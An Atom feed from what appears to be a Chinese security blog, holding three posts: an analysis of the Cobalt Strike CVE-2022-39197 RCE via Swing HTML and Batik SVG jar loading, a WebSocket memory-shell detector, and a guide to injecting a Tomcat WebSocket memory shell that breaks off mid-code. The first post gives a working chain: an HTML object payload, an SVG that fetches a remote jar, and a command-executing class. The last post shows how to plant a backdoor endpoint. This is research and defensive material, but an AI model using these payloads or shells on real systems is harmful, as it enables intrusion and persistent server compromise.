-
Notifications
You must be signed in to change notification settings - Fork 0
/
atom.xml
3235 lines (3058 loc) · 182 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<id>https://liangyueliangyue.github.io</id>
<title>6right</title>
<updated>2023-06-06T03:15:52.575Z</updated>
<generator>https://github.com/jpmonette/feed</generator>
<link rel="alternate" href="https://liangyueliangyue.github.io"/>
<link rel="self" href="https://liangyueliangyue.github.io/atom.xml"/>
<subtitle>温润如玉</subtitle>
<logo>https://liangyueliangyue.github.io/images/avatar.png</logo>
<icon>https://liangyueliangyue.github.io/favicon.ico</icon>
<rights>All rights reserved 2023, 6right</rights>
<entry>
<title type="html"><![CDATA[CoBaltStrike RCE分析]]></title>
<id>https://liangyueliangyue.github.io/post/cobaltstrike-rce-fen-xi/</id>
<link href="https://liangyueliangyue.github.io/post/cobaltstrike-rce-fen-xi/">
</link>
<updated>2022-10-21T13:41:25.000Z</updated>
<content type="html"><![CDATA[<h1 id="cobaltstrike-rce分析">CoBaltStrike RCE分析</h1>
<h2 id="前言">前言</h2>
<p>看了一下最后用的Apache Batik 组件的加载jar,刚好也分析过CVE-2022-40146就一起看了</p>
<h2 id="cve-2022-39197">CVE-2022-39197</h2>
<p>漏洞描述:在 HelpSystems Cobalt Strike 到 4.7 中发现了一个 XSS(跨站点脚本)漏洞,允许远程攻击者在 Cobalt Strike 团队服务器上执行 HTML</p>
<p>从官方的修复及回应中也可以看出这是一个上升至远程代码执行的漏洞:https://www.cobaltstrike.com/blog/out-of-band-update-cobalt-strike-4-7-1/</p>
<p>而这个XSS是由Swing的html解析器导致的</p>
<p>简单写一个demo</p>
<pre><code class="language-java">import javax.swing.*;
public class Test {
public static void main(String[] args) {
JFrame jFrame = new JFrame("Test1");
JLabel jLabel = new JLabel("<html><h1>6right</h1></html>");
jFrame.add(jLabel);
jFrame.setSize(400,500);
jFrame.setVisible(true);
}
}
</code></pre>
<p>运行上面的代码片段将创建一个新的<em>JFrame</em>,其中包含一个 使用 HTML 设置标签主体样式的*JLabel 。*在这种情况下,JLabel文本解析了HTML,而JFrame没有。</p>
<ul>
<li>JLabel</li>
<li>JButton</li>
<li>JToggleButton</li>
<li>JCheckBox</li>
<li>JRadioButton</li>
<li>JMenu</li>
<li>JMenuItem</li>
<li>JCheckBoxMenuItem</li>
<li>JRadioButtonMenuItem</li>
<li>JComboBox</li>
<li>JList</li>
<li>JTable</li>
<li>JTree</li>
<li>JToolTip等等</li>
</ul>
<figure data-type="image" tabindex="1"><img src="https://6right-images.oss-cn-hangzhou.aliyuncs.com/images/202210201601025.png" alt="image-20221019102040747" loading="lazy"></figure>
<p>那不是直接使用<code><script></code>就好了?</p>
<p>但是并没有想象的那么简单,在包含scrpt时,并没有执行预期的弹窗,我们下断点看一下</p>
<p>在https://docs.oracle.com/en/java/javase/11/docs/api/java.desktop/javax/swing/text/html/HTMLDocument.HTMLReader.html中可以看到虽然定义了Script applet等标签,但都是还没有支持</p>
<p>但是他支持了<object>标签,可以看下html中object标签的定义:此元素允许您规定插入 HTML 文档中的对象的数据和参数,以及可用来显示和操作数据的代码。</p>
<p>显然是有操作性的,查看OBJECT标签对象的被调用</p>
<p>javax.swing.text.html.HTMLEditorKit.HTMLFactory#create</p>
<pre><code class="language-java">else if (kind == HTML.Tag.OBJECT) {
return new ObjectView(elem);
</code></pre>
<p>创建了ObjectView对象,查看他的类说明很清晰</p>
<pre><code class="language-java"><object classid="javax.swing.JLabel">
<param name="text" value="sample text">
</object>
</code></pre>
<p>将尝试加载classid属性指定的类。如果可能,将使用用于加载关联文档的Classloader。这通常与用于加载EditorKit的ClassLoader相同。如果文档的ClassLoader为空,则为Class。使用forName。</p>
<p>如果类能够成功加载,则会尝试通过调用class.newInstance来创建它的实例。将尝试将实例缩小为java.awt类型。组件以显示对象。</p>
<p>也就是可以使用classid指定全类名进行反射加载,但是存在限制条件</p>
<p>看一下javax.swing.text.html.ObjectView#createComponent代码</p>
<pre><code class="language-java"> protected Component createComponent() {
AttributeSet attr = getElement().getAttributes();
String classname = (String) attr.getAttribute(HTML.Attribute.CLASSID);
try {
ReflectUtil.checkPackageAccess(classname);
Class c = Class.forName(classname, true,Thread.currentThread().
getContextClassLoader());
Object o = c.newInstance();
if (o instanceof Component) {
Component comp = (Component) o;
setParameters(comp, attr);
return comp;
}
} catch (Throwable e) {
// couldn't create a component... fall through to the
// couldn't load representation.
}
</code></pre>
<p>反射加载全类名,然后初始化指定类示例(这里必须要无参构造方法),再检查初始化是否是Component的实例</p>
<ul>
<li>是:将返回对象,并调用setParameters</li>
<li>不是:将返回getUnloadableRepresentation的返回值</li>
</ul>
<pre><code class="language-java">Component getUnloadableRepresentation() {
// PENDING(prinz) get some artwork and return something
// interesting here.
Component comp = new JLabel("??");
comp.setForeground(Color.red);
return comp;
}
</code></pre>
<p>在进入到javax.swing.text.html.ObjectView#setParameters</p>
<pre><code class="language-java">private void setParameters(Component comp, AttributeSet attr) {
Class k = comp.getClass();
BeanInfo bi;
try {
bi = Introspector.getBeanInfo(k);
} catch (IntrospectionException ex) {
System.err.println("introspector failed, ex: "+ex);
return; // quit for now
}
PropertyDescriptor props[] = bi.getPropertyDescriptors();
for (int i=0; i < props.length; i++) {
// System.err.println("checking on props[i]: "+props[i].getName());
Object v = attr.getAttribute(props[i].getName());
if (v instanceof String) {
// found a property parameter
String value = (String) v;
Method writer = props[i].getWriteMethod();
if (writer == null) {
// read-only property. ignore
return; // for now
}
Class[] params = writer.getParameterTypes();
if (params.length != 1) {
// zero or more than one argument, ignore
return; // for now
}
Object [] args = { value };
try {
MethodUtil.invoke(writer, comp, args);
} catch (Exception ex) {
System.err.println("Invocation failed");
// invocation code
}
}
}
}
</code></pre>
<p>看invoke调用,需要过两个判断</p>
<ul>
<li>类对象必须存在一个属性存在setter方法(在jlabel中存在setText方法)</li>
</ul>
<pre><code class="language-java">Method writer = props[i].getWriteMethod();
if (writer == null) {
// read-only property. ignore
return; // for now
}
</code></pre>
<ul>
<li>setter方法必须只有一个参数</li>
</ul>
<pre><code class="language-java">Class[] params = writer.getParameterTypes();
if (params.length != 1) {
// zero or more than one argument, ignore
return; // for now
}
</code></pre>
<ul>
<li>setter方法参数必须是String类型</li>
</ul>
<pre><code class="language-java">Object v = attr.getAttribute(props[i].getName());
if (v instanceof String) {
// found a property parameter
String value = (String) v;
xxxx
</code></pre>
<p>这里的v是object对象中的value值,而属性名就是object对象的name值</p>
<p>所以总结完利用条件如下:</p>
<ol>
<li>类必须继承自<em>java.awt.Component</em></li>
<li>必须有无参构造方法</li>
<li>类对象必须存在一个属性存在setter方法</li>
<li>setter方法的参数必须是一个且为string类型</li>
</ol>
<h2 id="筛选符合条件结果">筛选符合条件结果</h2>
<p>这里使用tabby筛选</p>
<p>cypher:</p>
<pre><code class="language-sql">match (source:Method {IS_SETTER:true})<-[:HAS]-(cls:Class {HAS_DEFAULT_CONSTRUCTOR: TRUE})-[:INTERFACE|EXTENDS*]->(cls1:Class {NAME:"java.awt.Component"})
where source.SUB_SIGNATURE =~ ".* set\w+\(java.lang.String\)"
return distinct source.SIGNATURE
</code></pre>
<p>结果(42个,这里我使用的cs4.3):</p>
<table>
<thead>
<tr>
<th>1</th>
<th>"<org.apache.xalan.client.XSLTProcessorApplet: void setDocumentURL(java.lang.String)>"</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td>"<org.apache.xalan.client.XSLTProcessorApplet: void setStyleURL(java.lang.String)>"</td>
</tr>
<tr>
<td>3</td>
<td>"<java.awt.Frame: void setTitle(java.lang.String)>"</td>
</tr>
<tr>
<td>4</td>
<td>"<sun.awt.EmbeddedFrame: void setTitle(java.lang.String)>"</td>
</tr>
<tr>
<td>5</td>
<td>"<javax.swing.JComponent: void setToolTipText(java.lang.String)>"</td>
</tr>
<tr>
<td>6</td>
<td>"<org.apache.batik.util.gui.UserStyleDialog$Panel: void setPath(java.lang.String)>"</td>
</tr>
<tr>
<td>7</td>
<td>"<org.apache.batik.util.gui.LanguageDialog$Panel: void setLanguages(java.lang.String)>"</td>
</tr>
<tr>
<td>8</td>
<td>"<console.AssociatedPanel: void setBeaconID(java.lang.String)>"</td>
</tr>
<tr>
<td>9</td>
<td>"<console.Console: void setStyle(java.lang.String)>"</td>
</tr>
<tr>
<td>10</td>
<td>"<console.Console: void setDefaultPrompt(java.lang.String)>"</td>
</tr>
<tr>
<td>11</td>
<td>"<console.Console: void setPrompt(java.lang.String)>"</td>
</tr>
<tr>
<td>12</td>
<td>"<org.apache.batik.apps.svgbrowser.StatusBar: void setMessage(java.lang.String)>"</td>
</tr>
<tr>
<td>13</td>
<td>"<org.apache.batik.apps.svgbrowser.StatusBar: void setMainMessage(java.lang.String)>"</td>
</tr>
<tr>
<td>14</td>
<td>"<console.Display: void setTextDirect(java.lang.String)>"</td>
</tr>
<tr>
<td>15</td>
<td>"<console.Display: void setText(java.lang.String)>"</td>
</tr>
<tr>
<td>16</td>
<td>"<org.apache.batik.util.gui.LocationBar: void setText(java.lang.String)>"</td>
</tr>
<tr>
<td>17</td>
<td>"<org.apache.batik.util.gui.CSSMediaPanel: void setMedia(java.lang.String)>"</td>
</tr>
<tr>
<td>18</td>
<td>"<javax.swing.JPopupMenu: void setLabel(java.lang.String)>"</td>
</tr>
<tr>
<td>19</td>
<td>"<javax.swing.text.JTextComponent: void setText(java.lang.String)>"</td>
</tr>
<tr>
<td>20</td>
<td>"<javax.swing.JTextField: void setActionCommand(java.lang.String)>"</td>
</tr>
<tr>
<td>21</td>
<td>"<javax.swing.JEditorPane: void setText(java.lang.String)>"</td>
</tr>
<tr>
<td>22</td>
<td>"<javax.swing.JEditorPane: void setCharsetFromContentTypeParameters(java.lang.String)>"</td>
</tr>
<tr>
<td>23</td>
<td>"<javax.swing.JEditorPane: void setContentType(java.lang.String)>"</td>
</tr>
<tr>
<td>24</td>
<td>"<javax.swing.JEditorPane: void setPage(java.lang.String)>"</td>
</tr>
<tr>
<td>25</td>
<td>"<org.apache.batik.util.gui.xmleditor.XMLTextEditor: void setText(java.lang.String)>"</td>
</tr>
<tr>
<td>26</td>
<td>"<aggressor.AggressorClient: void setTitle(java.lang.String)>"</td>
</tr>
<tr>
<td>27</td>
<td>"<javax.swing.AbstractButton: void setLabel(java.lang.String)>"</td>
</tr>
<tr>
<td>28</td>
<td>"<javax.swing.AbstractButton: void setText(java.lang.String)>"</td>
</tr>
<tr>
<td>29</td>
<td>"<javax.swing.AbstractButton: void setActionCommand(java.lang.String)>"</td>
</tr>
<tr>
<td>30</td>
<td>"<javax.swing.JLabel: void setText(java.lang.String)>"</td>
</tr>
<tr>
<td>31</td>
<td>"<org.apache.batik.swing.svg.AbstractJSVGComponent: void setFragmentIdentifier(java.lang.String)>"</td>
</tr>
<tr>
<td>32</td>
<td>"<org.apache.batik.swing.JSVGCanvas: void setURI(java.lang.String)>"</td>
</tr>
<tr>
<td>33</td>
<td>"<javax.swing.JFileChooser: void setDialogTitle(java.lang.String)>"</td>
</tr>
<tr>
<td>34</td>
<td>"<javax.swing.JFileChooser: void setApproveButtonToolTipText(java.lang.String)>"</td>
</tr>
<tr>
<td>35</td>
<td>"<javax.swing.JFileChooser: void setApproveButtonText(java.lang.String)>"</td>
</tr>
<tr>
<td>36</td>
<td>"<graph.NetworkGraph: void setAutoLayout(java.lang.String)>"</td>
</tr>
<tr>
<td>37</td>
<td>"<javax.swing.JToolTip: void setTipText(java.lang.String)>"</td>
</tr>
<tr>
<td>38</td>
<td>"<javax.swing.JProgressBar: void setString(java.lang.String)>"</td>
</tr>
<tr>
<td>39</td>
<td>"<javax.swing.JInternalFrame: void setTitle(java.lang.String)>"</td>
</tr>
<tr>
<td>40</td>
<td>"<javax.swing.JComboBox: void setActionCommand(java.lang.String)>"</td>
</tr>
<tr>
<td>41</td>
<td>"<java.awt.TextField: void setText(java.lang.String)>"</td>
</tr>
<tr>
<td>42</td>
<td>"<java.awt.Label: void setText(java.lang.String)>"</td>
</tr>
</tbody>
</table>
<h2 id="batik远程加载jar">batik远程加载jar</h2>
<p>这里对所有符合条件的方法进行筛选也是一个耗时的过程,在已知的情况下我就直接分析<org.apache.batik.swing.JSVGCanvas: void setURI(java.lang.String)>了</p>
<p>已知:batik对SVG对象进行处理时,可以通过xlink:href对jar包进行解析,batik最后是在org.apache.batik.bridge.BaseScriptingEnvironment#loadScript处</p>
<pre><code class="language-java">if (type.equals("application/java-archive")) {
try {
String href = XLinkSupport.getXLinkHref(script);
ParsedURL purl = new ParsedURL(script.getBaseURI(), href);
this.checkCompatibleScriptURL(type, purl);
URL docURL = null;
try {
docURL = new URL(this.docPURL.toString());
} catch (MalformedURLException var14) {
}
DocumentJarClassLoader cll = new DocumentJarClassLoader(new URL(purl.toString()), docURL);
URL url = cll.findResource("META-INF/MANIFEST.MF");
if (url == null) {
return;
}
Manifest man = new Manifest(url.openStream());
this.executedScripts.put(script, (Object)null);
mediaType = man.getMainAttributes().getValue("Script-Handler");
if (mediaType != null) {
ScriptHandler h = (ScriptHandler)cll.loadClass(mediaType).getDeclaredConstructor().newInstance();
h.run(this.document, this.getWindow());
}
mediaType = man.getMainAttributes().getValue("SVG-Handler-Class");
if (mediaType != null) {
EventListenerInitializer initializer = (EventListenerInitializer)cll.loadClass(mediaType).getDeclaredConstructor().newInstance();
this.getWindow();
initializer.initializeEventListeners((SVGDocument)this.document);
}
} catch (Exception var16) {
if (this.userAgent != null) {
this.userAgent.displayError(var16);
}
}
</code></pre>
<p>在cs4.3中是org.apache.batik.bridge.BaseScriptingEnvironment#loadScripts,先打上断点</p>
<p>构造一个恶意svg文件</p>
<pre><code class="language-java"><svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink" width="450" height="500"
viewBox="0 0 450 500">
<script type="application/java-archive" xlink:href="http://192.168.102.19:8081/CVE_2022_40146.jar"></script>
</svg>
</code></pre>
<p>然后该更JLable值</p>
<pre><code class="language-java">JLabel jLabel = new JLabel("<html><object classid=\"org.apache.batik.swing.JSVGCanvas\">\n" +
" <param name=\"URI\" value=\"http://192.168.102.19:8081/test.svg\">\n" +
" </object></html>");
</code></pre>
<p>中间会经过DefaultScriptSecurity,需要svg文件地址和jar包地址host相同,所以放一块就行</p>
<p>jar包类,静态方法恶意即可</p>
<pre><code class="language-java">import java.io.IOException;
public class CVE_2022_40146 {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
</code></pre>
<p>打包成jar,修改META-INF/MANIFEST.MF文件,添加条目Script-Handler: CVE_2022_40146</p>
<p>因为在org.apache.batik.bridge.BaseScriptingEnvironment#loadScript做了对MANIFEST条目的校验,得实现Script-Handler或SVG-Handler-Class条目才能进入加载字节码,做到命令执行</p>
<figure data-type="image" tabindex="2"><img src="https://6right-images.oss-cn-hangzhou.aliyuncs.com/images/202210201601027.png" alt="image-20221020112023148" loading="lazy"></figure>
<h2 id="cs-rce流程">CS RCE流程</h2>
<p>后续反制可以参考漂亮鼠师傅的 windows api hook</p>
<ul>
<li>https://mp.weixin.qq.com/s/l5e2p_WtYSCYYhYE0lzRdQ</li>
</ul>
<p>1.将木马文件通过frida运行,用frida脚本 hook Process32Next函数,当木马通过API去获取数据结构中的进程名称(也就是szExeFile)时,得到的是我们脚本传入的恶意html</p>
<pre><code><html><object classid="org.apache.batik.swing.JSVGCanvas"><param name="URI" value="http://xxx/test.svg"></object></html>
</code></pre>
<p>2.然后swing解析html去访问加载恶意svg文件</p>
<pre><code><svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink" width="450" height="500"
viewBox="0 0 450 500">
<script type="application/java-archive" xlink:href="http://192.168.102.19:8081/AttackJar.jar"></script>
</svg>
</code></pre>
<p>3.最后batik解析svg文件去访问加载恶意jar,导致命令执行</p>
<h2 id="参考">参考</h2>
<p>https://mp.weixin.qq.com/s/l5e2p_WtYSCYYhYE0lzRdQ</p>
]]></content>
</entry>
<entry>
<title type="html"><![CDATA[WebSocket内存马检测]]></title>
<id>https://liangyueliangyue.github.io/post/websocket-nei-cun-ma-jian-ce/</id>
<link href="https://liangyueliangyue.github.io/post/websocket-nei-cun-ma-jian-ce/">
</link>
<updated>2022-10-16T06:09:09.000Z</updated>
<content type="html"><![CDATA[<h4 id="检测实现">检测实现</h4>
<p>这里是基于c0ny1师傅的工具:https://github.com/c0ny1/java-memshell-scanner</p>
<p>Endpoint信息获取:</p>
<ul>
<li>
<p>从requestContext中获取WsServerContainer容器</p>
</li>
<li>
<p>通过反射得到configExactMatchMap对象</p>
<figure data-type="image" tabindex="1"><img src="https://6right-images.oss-cn-hangzhou.aliyuncs.com/images/202212091659752.png" alt="image-20221018113017487" loading="lazy"></figure>
<p>里面通过Map存储Endpoint键值</p>
</li>
</ul>
<pre><code class="language-java">public synchronized Map<String,Object> getExactMatch(HttpServletRequest request) throws Exception{
WsServerContainer wsServerContainer = (WsServerContainer) request.getSession().getServletContext().getAttribute(ServerContainer.class.getName());
Class<?> obj = Class.forName("org.apache.tomcat.websocket.server.WsServerContainer");
Field field = obj.getDeclaredField("configExactMatchMap");
field.setAccessible(true);
Map<String, Object> configExactMatchMap = (Map<String, Object>) field.get(wsServerContainer);
return configExactMatchMap;
}
</code></pre>
<p>dump模块:没有改变,直接使用c0ny1的给出类名即可</p>
<p>kill模块:</p>
<pre><code class="language-java">public synchronized void deleteEndpint(HttpServletRequest request,String servletName) throws Exception{
Map<String,Object> ExactMatch = getExactMatch(request);
ExactMatch.remove(servletName);
}
</code></pre>
<p>通过java.util.Map#remove(java.lang.Object)删除容器中的Endpoint接口</p>
<p>注意:这里有一个问题,这里只删除了容器中的Endpint,而注入时requestContext中的路径并没有删除,所以会导致无法向容器注入被删除过的路径。</p>
<ul>
<li>修改后的源码:https://github.com/liangyueliangyue/java-memshell-scanner</li>
</ul>
<p>修改后的效果</p>
<figure data-type="image" tabindex="2"><img src="https://6right-images.oss-cn-hangzhou.aliyuncs.com/images/202212091659753.png" alt="image-20221018141713851" loading="lazy"></figure>
<h3 id="总结">总结</h3>
<p>WebSoket内存马通过分析涉及处理websoket的Endpoint对象,获取请求内容,同时控制响应内容。然后只要模拟对象注册到内存当中过程即可。代理的实现稍微复杂一点,注册的Endpoint对象需要实现与服务端(Endpoint远端)之间的连接与通信</p>
]]></content>
</entry>
<entry>
<title type="html"><![CDATA[WebSocket内存马]]></title>
<id>https://liangyueliangyue.github.io/post/websocket-nei-cun-ma/</id>
<link href="https://liangyueliangyue.github.io/post/websocket-nei-cun-ma/">
</link>
<updated>2022-10-15T10:07:42.000Z</updated>
<content type="html"><![CDATA[<h2 id="websocket">WebSocket</h2>
<p>WebSocket标准实用性高,使得浏览器和服务器之间任一方都可主动发消息给对方,这样服务器有新数据时可主动推给浏览器。</p>
<h3 id="tomcat">tomcat</h3>
<p>Tomcat自7.0.5版本开始支持WebSocket,并且实现了Java WebSocket规范(JSR356 ),而在7.0.5版本之前(7.0.2版本之后)则采用自定义API,即WebSocketServlet。</p>
<p>根据JSR356的规定,Java WebSocket应用由一系列的WebSocket Endpoint组成。Endpoint是一个Java对象,代表WebSocket链接的一端,对于服务端,我们可以视为处理具体WebSocket消息的接口,就像Servlet之于HTTP请求一样(不同之处在于Endpoint每个链接一个实例)。</p>
<h3 id="生命周期">生命周期</h3>
<p>Endpoint实例在WebSocket握手时创建,并在客户端与服务端链接过程中有效,最后在链接关闭时结束。</p>
<p>Endpoint的生命周期方法如下:</p>
<ul>
<li>onOpen:当开启一个新的会话时调用。这是客户端与服务器握手成功后调用的方法。等同于注解@OnOpen。</li>
<li>onClose:当会话关闭时调用。等同于注解@OnClose。</li>
<li>onError:当链接过程中异常时调用。等同于注解@OnError。</li>
</ul>
<h3 id="消息会话">消息会话</h3>
<p>当客户端链接到一个Endpoint时,服务器端会为其创建一个唯一的会话(javax.websocket.Session)。会话在WebSocket握手之后创建,并在链接关闭时结束。当生命周期中触发各个事件时,都会将当前会话传给Endpoint。</p>
<p>我们通过为Session添加MessageHandler消息处理器来接收消息(很明显,这里请求的回显可以通过MessageHandler和session会话得到)。在这里Session的本质是对Socket的封装,Endpoint通过它与浏览器通信。</p>
<h3 id="定义endpoint">定义Endpoint</h3>
<p>我们可以通过两种方式定义Endpoint</p>
<ul>
<li>第一种是编程式,即继承类javax.websocket.Endpoint并实现其方法。</li>
<li>第二种是注解式,即定义一个POJO对象,为其添加Endpoint相关的注解。</li>
</ul>
<h3 id="websocket加载">WebSocket加载</h3>
<p>Tomcat提供了一个javax.servlet.ServletContainerInitializer的实现类org.apache.tomcat.websocket.server.WsSci。因此Tomcat的WebSocket加载是通过SCI机制完成的。</p>
<p>Web应用启动时,通过WsSci.onStartup方法完成WebSocket的初始化:</p>
<ul>
<li>构造WebSocketContainer实例,Tomcat提供的实现类为WsServerContainer。在WsServerContainer构造方法中,Tomcat除了初始化配置外,还会为ServletContext添加一个过滤器org.apache.tomcat.websocket.server.WsFilter,它用于判断当前请求是否为WebSocket请求,以便完成握手,所以会默认创建(这里veo师傅也提到过)。</li>
</ul>
<figure data-type="image" tabindex="1"><img src="https://veo.pub/img/memshell/image-20220630102415851.png" alt="img" loading="lazy"></figure>
<ul>
<li>可以把WebSocketContainer理解成一个专门处理WebSocket请求的Endpoint容器,他将扫描到的Endpoint子类和添加了注解@ServerEndpoint的类注册到WebSocketContainer上,用于处理WebSocket请求,该容器还维护了URL到Endpoint的映射关系,这样通过请求URL就能找到具体的Endpoint来处理WebSocket请求。</li>
<li>实现类WsServerContainer存在addEndpoint方法来动态注册endpoint端点发布在指定路径(内存马实现关键)</li>
</ul>
<h3 id="websocket请求处理">WebSocket请求处理</h3>
<p>这一块比较复杂且和内存马关系不大,简单讲一下tomcat的实现</p>
<p>因为Tomcat是将HTTP协议升级成WebSocket协议的,所以WebSocket是通过HTTP协议握手的,当WebSocket握手请求到来时,HttpProtocolHandler首先接收到这个请求,在处理这个HTTP请求时,Tomcat通过WsFilter判断该当前HTTP请求是否是一个WebSocket Upgrade请求(即包含Upgrade: websocket的HTTP头信息),如果是,则在HTTP响应里添加WebSocket相关的响应头信息,并进行协议升级。</p>
<pre><code class="language-java">public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
if (this.sc.areEndpointsRegistered() && UpgradeUtil.isWebSocketUpgradeRequest(request, response)) {
...
WsMappingResult mappingResult = this.sc.findMapping(path);
if (mappingResult == null) {
chain.doFilter(request, response);
} else {
UpgradeUtil.doUpgrade(this.sc, req, resp, mappingResult.getConfig(), mappingResult.getPathParams());
}
} else {
chain.doFilter(request, response);
}
}
</code></pre>
<p>有兴趣可以看看org.apache.tomcat.websocket.server.UpgradeUtil#isWebSocketUpgradeRequest和org.apache.tomcat.websocket.server.UpgradeUtil#doUpgrade的具体实现。</p>
<p>然后用UpgradeProtocolHandler替换当前的HttpProtocolHandler,相应的,把当前Socket的Processor替换成UpgradeProcessor,同时Tomcat会创建WebSocket Session实例和Endpoint实例,并跟当前的WebSocket连接一一对应起来,UpgradeProcessor最终会调用相应的Endpoint实例来处理请求。</p>
<h3 id="内存马实现">内存马实现</h3>
<p>首先实现Endpoint类,显然实战中不可能使用注解方式,通过编程式定义</p>
<p>处理ws对象基于类 javax.websocket.server.ServerEndpointConfig.builder,ServerEndpointConfig.Builder 是一个用于创建DefaultServerEndpointConfig对象以部署服务器端点的类</p>
<p>在使用javax.websocket.server.ServerEndpointConfig.Builder#create</p>
<pre><code class="language-java">public static ServerEndpointConfig.Builder create(Class<?> endpointClass, String path) {
return new ServerEndpointConfig.Builder(endpointClass, path);
}
###
private Builder(Class<?> endpointClass, String path) {
this.endpointClass = endpointClass;
this.path = path;
}
</code></pre>
<p>配置端点的类和将部署端点的 URI 或 URI 模板(结尾的“/”将被忽略,路径必须以 / 开头)</p>
<p>javax.websocket.server.ServerEndpointConfig.Builder#build</p>
<pre><code class="language-java">public ServerEndpointConfig build() {
return new DefaultServerEndpointConfig(this.endpointClass, this.path, this.subprotocols, this.extensions, this.encoders, this.decoders, this.configurator);
}
</code></pre>
<p>DefaultServerEndpointConfig是ServerEndpointConfig接口的具体实现类,即使用已在此Builder对象上设置的当前属性构建DefaultServerEndpointConfig对象。</p>
<p>值得一提的是他还存在encoders,decoders,subprotocols,extensions等方法可以自定义编码器,解码器,协议,拓展等功能</p>
<p>现在可以知道,创建一个DefaultServerEndpointConfig对象</p>
<pre><code class="language-java">DefaultServerEndpointConfig config = ServerEndpointConfig.Builder.create(EndpointInject.class, "/ws").build();
</code></pre>
<p>得到对象之后构造WebSocketContainer实例,Tomcat提供的实现类为WsServerContainer。</p>
<pre><code class="language-java">ServerContainer container = (ServerContainer) req.getServletContext().getAttribute(ServerContainer.class.getName());
</code></pre>
<p>然后调用addEndpoint动态添加端口即可</p>
<pre><code class="language-java">container.addEndpoint(config);
</code></pre>
<p>接下来只需要实现Endpoint对象。</p>
<p>可以参考:https://abhishek-gupta.gitbook.io/java-websocket-api-handbook/</p>
<p>首先,我们要自定义一个消息处理器,实现MessageHandler接口:有两个接口,一个是Partial,另一个是Whole接口,Partial用于接收部分消息,Whole用于一次性接收一条完整的消息。所以我们实现Whole接口</p>
<p>然后重写onMessage和onOpen方法</p>
<p>websocket session发送文本消息有两个方法:getAsyncRemote()和getBasicRemote() ,getAsyncRemote是非阻塞式的,getBasicRemote是阻塞式的,这里使用getBasicRemote获取到RemoteEndpoint 对象的引用,然后javax.websocket.RemoteEndpoint.Basic#sendText(java.lang.String)直接发送</p>
<pre><code class="language-java">public static class C extends Endpoint implements MessageHandler.Whole<String> {
private Session session;
@Override
public void onMessage(String s) {
try {
Process process;
